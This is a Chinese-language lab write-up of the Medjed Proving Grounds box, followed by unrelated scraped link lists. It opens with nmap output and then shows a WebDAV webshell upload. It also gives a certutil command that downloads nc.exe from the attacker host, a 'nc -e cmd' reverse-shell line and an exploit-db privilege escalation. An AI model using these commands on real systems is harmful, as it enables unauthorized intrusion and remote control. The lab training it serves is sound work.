Medjed pg walkthrough Intermediate window
nmap
nmap -p- -A -sS -T4 192.168.219.127
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-22 01:22 UTC
Stats: 0:02:05 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 83.33% done; ETC: 01:24 (0:00:15 remaining)
Nmap scan report for 192.168.219.127
Host is up (0.071s latency).
Not shown: 65517 closed tcp ports (reset)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '192.168.45.250' is not allowed to connect to this MariaDB server
5040/tcp open unknown
7680/tcp open pando-pub?
8000/tcp open http-alt BarracudaServer.com (Windows)
| http-webdav-scan:
| WebDAV type: Unknown
| Server Type: BarracudaServer.com (Windows)
| Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, PUT, COPY, DELETE, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK
|_ Server Date: Sun, 22 Dec 2024 01:26:20 GMT
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Home
| http-methods:
|_ Potentially risky methods: PROPFIND PUT COPY DELETE MOVE MKCOL PROPPATCH LOCK UNLOCK
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 200 OK
| Date: Sun, 22 Dec 2024 01:23:40 GMT
| Server: BarracudaServer.com (Windows)
| Connection: Close
| GenericLines, GetRequest:
| HTTP/1.1 200 OK
| Date: Sun, 22 Dec 2024 01:23:35 GMT
| Server: BarracudaServer.com (Windows)
| Connection: Close
| HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Date: Sun, 22 Dec 2024 01:23:46 GMT
| Server: BarracudaServer.com (Windows)
| Connection: Close
| SIPOptions:
| HTTP/1.1 400 Bad Request
| Date: Sun, 22 Dec 2024 01:24:49 GMT
| Server: BarracudaServer.com (Windows)
| Connection: Close
| Content-Type: text/html
| Cache-Control: no-store, no-cache, must-revalidate, max-age=0
| <html><body><h1>400 Bad Request</h1>Can't parse request<p>BarracudaServer.com (Windows)</p></body></html>
| Socks5:
| HTTP/1.1 200 OK
| Date: Sun, 22 Dec 2024 01:23:41 GMT
| Server: BarracudaServer.com (Windows)
|_ Connection: Close
|_http-server-header: BarracudaServer.com (Windows)
30021/tcp open ftp FileZilla ftpd 0.9.41 beta
|_ftp-bounce: bounce working!
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- 1 ftp ftp 536 Nov 03 2020 .gitignore
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 app
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 bin
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 config
| -r--r--r-- 1 ftp ftp 130 Nov 03 2020 config.ru
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 db
| -r--r--r-- 1 ftp ftp 1750 Nov 03 2020 Gemfile
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 lib
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 log
| -r--r--r-- 1 ftp ftp 66 Nov 03 2020 package.json
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 public
| -r--r--r-- 1 ftp ftp 227 Nov 03 2020 Rakefile
| -r--r--r-- 1 ftp ftp 374 Nov 03 2020 README.md
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 test
| drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 tmp
|_drwxr-xr-x 1 ftp ftp 0 Nov 03 2020 vendor
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
33033/tcp open unknown
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| GetRequest, HTTPOptions:
| HTTP/1.0 403 Forbidden
| Content-Type: text/html; charset=UTF-8
| Content-Length: 3102
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8" />
| <title>Action Controller: Exception caught</title>
| <style>
| body {
| background-color: #FAFAFA;
| color: #333;
| margin: 0px;
| body, p, ol, ul, td {
| font-family: helvetica, verdana, arial, sans-serif;
| font-size: 13px;
| line-height: 18px;
| font-size: 11px;
| white-space: pre-wrap;
| pre.box {
| border: 1px solid #EEE;
| padding: 10px;
| margin: 0px;
| width: 958px;
| header {
| color: #F0F0F0;
| background: #C52F24;
| padding: 0.5em 1.5em;
| margin: 0.2em 0;
| line-height: 1.1em;
| font-size: 2em;
| color: #C52F24;
| line-height: 25px;
| .details {
|_ bord
44330/tcp open ssl/unknown
| ssl-cert: Subject: commonName=server demo 1024 bits/organizationName=Real Time Logic/stateOrProvinceName=CA/countryName=US
| Not valid before: 2009-08-27T14:40:47
|_Not valid after: 2019-08-25T14:40:47
|_ssl-date: 2024-12-22T01:26:49+00:00; 0s from scanner time.
| fingerprint-strings:
| HTTPOptions:
| HTTP/1.1 200 OK
| Date: Sun, 22 Dec 2024 01:23:48 GMT
| Server: BarracudaServer.com (Windows)
|_ Connection: Close
45332/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Quiz App
45443/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Quiz App
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
4 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3306-TCP:V=7.94SVN%I=7%D=12/22%Time=67676A11%P=x86_64-pc-linux-gnu%
SF:r(NULL,4D,"I\0\0\x01\xffj\x04Host\x20'192\.168\.45\.250'\x20is\x20not\x
SF:20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8000-TCP:V=7.94SVN%I=7%D=12/22%Time=67676A17%P=x86_64-pc-linux-gnu%
SF:r(GenericLines,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sun,\x2022\x20Dec
SF:\x202024\x2001:23:35\x20GMT\r\nServer:\x20BarracudaServer\.com\x20\(Win
SF:dows\)\r\nConnection:\x20Close\r\n\r\n")%r(GetRequest,72,"HTTP/1\.1\x20
SF:200\x20OK\r\nDate:\x20Sun,\x2022\x20Dec\x202024\x2001:23:35\x20GMT\r\nS
SF:erver:\x20BarracudaServer\.com\x20\(Windows\)\r\nConnection:\x20Close\r
SF:\n\r\n")%r(FourOhFourRequest,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sun
SF:,\x2022\x20Dec\x202024\x2001:23:40\x20GMT\r\nServer:\x20BarracudaServer
SF:\.com\x20\(Windows\)\r\nConnection:\x20Close\r\n\r\n")%r(Socks5,72,"HTT
SF:P/1\.1\x20200\x20OK\r\nDate:\x20Sun,\x2022\x20Dec\x202024\x2001:23:41\x
SF:20GMT\r\nServer:\x20BarracudaServer\.com\x20\(Windows\)\r\nConnection:\
SF:x20Close\r\n\r\n")%r(HTTPOptions,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\x2
SF:0Sun,\x2022\x20Dec\x202024\x2001:23:46\x20GMT\r\nServer:\x20BarracudaSe
SF:rver\.com\x20\(Windows\)\r\nConnection:\x20Close\r\n\r\n")%r(RTSPReques
SF:t,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sun,\x2022\x20Dec\x202024\x200
SF:1:23:46\x20GMT\r\nServer:\x20BarracudaServer\.com\x20\(Windows\)\r\nCon
SF:nection:\x20Close\r\n\r\n")%r(SIPOptions,13C,"HTTP/1\.1\x20400\x20Bad\x
SF:20Request\r\nDate:\x20Sun,\x2022\x20Dec\x202024\x2001:24:49\x20GMT\r\nS
SF:erver:\x20BarracudaServer\.com\x20\(Windows\)\r\nConnection:\x20Close\r
SF:\nContent-Type:\x20text/html\r\nCache-Control:\x20no-store,\x20no-cache
SF:,\x20must-revalidate,\x20max-age=0\r\n\r\n<html><body><h1>400\x20Bad\x2
SF:0Request</h1>Can't\x20parse\x20request<p>BarracudaServer\.com\x20\(Wind
SF:ows\)</p></body></html>");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port33033-TCP:V=7.94SVN%I=7%D=12/22%Time=67676A17%P=x86_64-pc-linux-gnu
SF:%r(GenericLines,1C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n\r\n")%r(GetR
SF:equest,C76,"HTTP/1\.0\x20403\x20Forbidden\r\nContent-Type:\x20text/html
SF:;\x20charset=UTF-8\r\nContent-Length:\x203102\r\n\r\n<!DOCTYPE\x20html>
SF:\n<html\x20lang=\"en\">\n<head>\n\x20\x20<meta\x20charset=\"utf-8\"\x20
SF:/>\n\x20\x20<title>Action\x20Controller:\x20Exception\x20caught</title>
SF:\n\x20\x20<style>\n\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x20\x20\x20b
SF:ackground-color:\x20#FAFAFA;\n\x20\x20\x20\x20\x20\x20color:\x20#333;\n
SF:\x20\x20\x20\x20\x20\x20margin:\x200px;\n\x20\x20\x20\x20}\n\n\x20\x20\
SF:x20\x20body,\x20p,\x20ol,\x20ul,\x20td\x20{\n\x20\x20\x20\x20\x20\x20fo
SF:nt-family:\x20helvetica,\x20verdana,\x20arial,\x20sans-serif;\n\x20\x20
SF:\x20\x20\x20\x20font-size:\x20\x20\x2013px;\n\x20\x20\x20\x20\x20\x20li
SF:ne-height:\x2018px;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20pre\x20{\n\x2
SF:0\x20\x20\x20\x20\x20font-size:\x2011px;\n\x20\x20\x20\x20\x20\x20white
SF:-space:\x20pre-wrap;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20pre\.box\x20
SF:{\n\x20\x20\x20\x20\x20\x20border:\x201px\x20solid\x20#EEE;\n\x20\x20\x
SF:20\x20\x20\x20padding:\x2010px;\n\x20\x20\x20\x20\x20\x20margin:\x200px
SF:;\n\x20\x20\x20\x20\x20\x20width:\x20958px;\n\x20\x20\x20\x20}\n\n\x20\
SF:x20\x20\x20header\x20{\n\x20\x20\x20\x20\x20\x20color:\x20#F0F0F0;\n\x2
SF:0\x20\x20\x20\x20\x20background:\x20#C52F24;\n\x20\x20\x20\x20\x20\x20p
SF:adding:\x200\.5em\x201\.5em;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20h1\x
SF:20{\n\x20\x20\x20\x20\x20\x20margin:\x200\.2em\x200;\n\x20\x20\x20\x20\
SF:x20\x20line-height:\x201\.1em;\n\x20\x20\x20\x20\x20\x20font-size:\x202
SF:em;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20h2\x20{\n\x20\x20\x20\x20\x20
SF:\x20color:\x20#C52F24;\n\x20\x20\x20\x20\x20\x20line-height:\x2025px;\n
SF:\x20\x20\x20\x20}\n\n\x20\x20\x20\x20\.details\x20{\n\x20\x20\x20\x20\x
SF:20\x20bord")%r(HTTPOptions,C76,"HTTP/1\.0\x20403\x20Forbidden\r\nConten
SF:t-Type:\x20text/html;\x20charset=UTF-8\r\nContent-Length:\x203102\r\n\r
SF:\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n\x20\x20<meta\x20c
SF:harset=\"utf-8\"\x20/>\n\x20\x20<title>Action\x20Controller:\x20Excepti
SF:on\x20caught</title>\n\x20\x20<style>\n\x20\x20\x20\x20body\x20{\n\x20\
SF:x20\x20\x20\x20\x20background-color:\x20#FAFAFA;\n\x20\x20\x20\x20\x20\
SF:x20color:\x20#333;\n\x20\x20\x20\x20\x20\x20margin:\x200px;\n\x20\x20\x
SF:20\x20}\n\n\x20\x20\x20\x20body,\x20p,\x20ol,\x20ul,\x20td\x20{\n\x20\x
SF:20\x20\x20\x20\x20font-family:\x20helvetica,\x20verdana,\x20arial,\x20s
SF:ans-serif;\n\x20\x20\x20\x20\x20\x20font-size:\x20\x20\x2013px;\n\x20\x
SF:20\x20\x20\x20\x20line-height:\x2018px;\n\x20\x20\x20\x20}\n\n\x20\x20\
SF:x20\x20pre\x20{\n\x20\x20\x20\x20\x20\x20font-size:\x2011px;\n\x20\x20\
SF:x20\x20\x20\x20white-space:\x20pre-wrap;\n\x20\x20\x20\x20}\n\n\x20\x20
SF:\x20\x20pre\.box\x20{\n\x20\x20\x20\x20\x20\x20border:\x201px\x20solid\
SF:x20#EEE;\n\x20\x20\x20\x20\x20\x20padding:\x2010px;\n\x20\x20\x20\x20\x
SF:20\x20margin:\x200px;\n\x20\x20\x20\x20\x20\x20width:\x20958px;\n\x20\x
SF:20\x20\x20}\n\n\x20\x20\x20\x20header\x20{\n\x20\x20\x20\x20\x20\x20col
SF:or:\x20#F0F0F0;\n\x20\x20\x20\x20\x20\x20background:\x20#C52F24;\n\x20\
SF:x20\x20\x20\x20\x20padding:\x200\.5em\x201\.5em;\n\x20\x20\x20\x20}\n\n
SF:\x20\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20margin:\x200\.2em\x200
SF:;\n\x20\x20\x20\x20\x20\x20line-height:\x201\.1em;\n\x20\x20\x20\x20\x2
SF:0\x20font-size:\x202em;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20h2\x20{\n
SF:\x20\x20\x20\x20\x20\x20color:\x20#C52F24;\n\x20\x20\x20\x20\x20\x20lin
SF:e-height:\x2025px;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20\.details\x20{
SF:\n\x20\x20\x20\x20\x20\x20bord");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port44330-TCP:V=7.94SVN%T=SSL%I=7%D=12/22%Time=67676A24%P=x86_64-pc-lin
SF:ux-gnu%r(HTTPOptions,72,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sun,\x2022\
SF:x20Dec\x202024\x2001:23:48\x20GMT\r\nServer:\x20BarracudaServer\.com\x2
SF:0\(Windows\)\r\nConnection:\x20Close\r\n\r\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=12/22%OT=135%CT=1%CU=43806%PV=Y%DS=4%DC=T%G=Y%TM=67
OS:676ADA%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=I%CI=I%TS=U)OPS
OS:(O1=M578NW8NNS%O2=M578NW8NNS%O3=M578NW8%O4=M578NW8NNS%O5=M578NW8NNS%O6=M
OS:578NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%
OS:T=80%W=FFFF%O=M578NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)
OS:T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=
OS:80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0
OS:%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD
OS:=G)IE(R=N)
Network Distance: 4 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-12-22T01:26:24
|_ start_date: N/A
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 69.56 ms 192.168.45.1
2 69.53 ms 192.168.45.254
3 70.70 ms 192.168.251.1
4 70.78 ms 192.168.219.127
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 250.77 seconds
访问8000顿口
发现跳转到了 set administrators account 页面 要我设置管理员账号
我们随便设置一个管理员账号
我在里面逛了半天发现了这个目录
一开始我还没反应过来这个c 和 d两个文件夹是啥
后面发现这应该就是window的c盘和d盘了
直接把flag读取了
那么接下来就是想想怎么利用了
我访问45332 端口 并用dirsearch 扫描发现了phpinfo页面
http://192.168.219.127:45332/phpinfo.php
查看 该网站根目录位置
看看我们能不能利用8000端口上传一个webshell
上传成功
那么接下来开始反弹shell环节
certutil -urlcache -split -f http://192.168.45.250/nc.exe nc.exe
nc -e cmd 192.168.45.250 8888
反弹shell成功
进入提权环节
发现exp https://www.exploit-db.com/exploits/48789
按照exp的步骤
成功将boku添加成为管理员 提权成功
Medjed pg walkthrough Intermediate window的更多相关文章
- pg和mysql对比
作者:方圆链接:https://www.zhihu.com/question/20010554/answer/15863274来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出 ...
- PostgreSQL 与 MySQL 相比，优势何在？
一. PostgreSQL 的稳定性极强, Innodb 等引擎在崩溃.断电之类的灾难场景下抗打击能力有了长足进步,然而很多 MySQL 用户都遇到过Server级的数据库丢失的场景——mysql系统 ...
- Mysql 和 Postgresql(PGSQL) 对比
Mysql 和 Postgresql(PGSQL) 对比 转载自:http://www.oschina.net/question/96003_13994 PostgreSQL与MySQL比较 MySQ ...
- Pgsql和Mysql的对比
工作中用过这两个数据库,但都不是太深入,仅限于用而已,但给我留下的印象就是Pgsql更好些,因为这两个库我都遇到过数据丢失的问题,前者我通过网上方法加自己的判断有惊无险的恢复了,而后者搜索各种资料加问 ...
- PostgreSQL与MySQL对比
都属于开放源码的一员,性能和功能都在高速地提高和增强.MySQL AB的人们和PostgreSQL的开发者们都在尽可能地把各自的数据库改得越来越好,所以对于任何商业数据库使用其中的任何一个都不能算是错 ...
- JavaScript_解决safari浏览器window.open无法实现的问题
解决 safari window.open 无法实现的问题 先说下问题是什么吧: safari 中没办法在回调函数里面执行window.open, 原因是safari的安全机制将其阻挡了(具体的原因可 ...
- Walkthrough: Arranging Controls on Windows Forms Using Snaplines
https://msdn.microsoft.com/en-us/library/t5b5kc41(v=vs.110).aspx Spacing and Aligning Controls Using ...
- Burp Suite Walkthrough(英文版)
Burp Suite is one of the best tools available for web application testing. Its wide variety of featu ...
- Burp Suite Walkthrough
Burp Suite is one of the best tools available for web application testing. Its wide variety of featu ...
- Making your first driver - complete walkthrough（使用VisualDDK）
This article describes how to create, build and debug your first driver using Visual Studio and Visu ...
随机推荐
- 低功耗4G模组：LCD应用示例
今天我们学习合宙Air780E开发板LCD应用示例,文末[阅读原文]获取最新资料. 本文档适用于Air780E开发板 关联文档和使用工具 lcd-demo: https://gitee.com/o ...
- string，字符串使用指南
string 创建 创建一个字符串或者字符串数组如下 用 cin 输入,可以读一整串字符直到空格或换行才结束 #include <iostream> using namespace std ...
- P4229 某位歌姬的故事
P4229 某位歌姬的故事 处理复杂点的 dp 题. 思路 先考虑 \(n\) 比较小的情况,把每个询问放到线段上,发现每个格子只能满足覆盖最小的限制,于是考虑将询问有效区间排序考虑. 设 \(f[i ...
- 19、解析2_1（链、chunk、锁）
解析 shared pool 图解: library cache里面,暂时可以认为存储着: 1.SQL以及对应的执行计划(所占空间比较小): 2.存储过程.函数.触发器.包,它们编译后的对象(所占空间 ...
- 高性能计算-雅可比算法-MPI重复非阻塞优化(7)
#include <stdio.h> #include <mpi.h> #include <unistd.h> #include <stdlib.h> ...
- golang操作ini文件包之go-ini
官网:ini.unknwon.io/docs github:https://github.com/go-ini/ini ini 是 Windows 上常用的配置文件格式.MySQL 的 Windows ...
- 精橙FPGA，一个承接FPGA代码设计的资深工程师团队。
一.我们是谁 精橙FPGA,一个承接FPGA代码设计的资深工程师团队. 二.服务内容 面向在校学生.职场工程师等人员,提供FPGA入门指导和FPGA代码设计外包服务. 三.业务范围 主要提供Xilin ...
- GPU 驱动漏洞：窥探驱动漏洞利用的技术奥秘
GPU 驱动漏洞:窥探驱动漏洞利用的技术奥秘 本文尝试以 GPU 漏洞为引介绍围绕 GPU 驱动这一攻击面,安全研究人员对内核漏洞利用技术做的一些探索. 背景介绍 目前移动 SOC 平台上由多个硬件模 ...
- node + vue 实现服务端单向推送消息，利用EventSource
场景:后台系统需要实时收到电池报警消息,并语音提醒,前台不需要发送任何东西,所以想的是,服务端单向推送 1. 实现EventSource参考博客: https://www.jqhtml.com/412 ...
- manim边学边做--移动动画
在Manim中,其实直线移动的动画非常简单,每个Mobject对象都有animate属性, 通过obj.animate.shift()或者obj.animate.move_to()很容易将对象从一个位 ...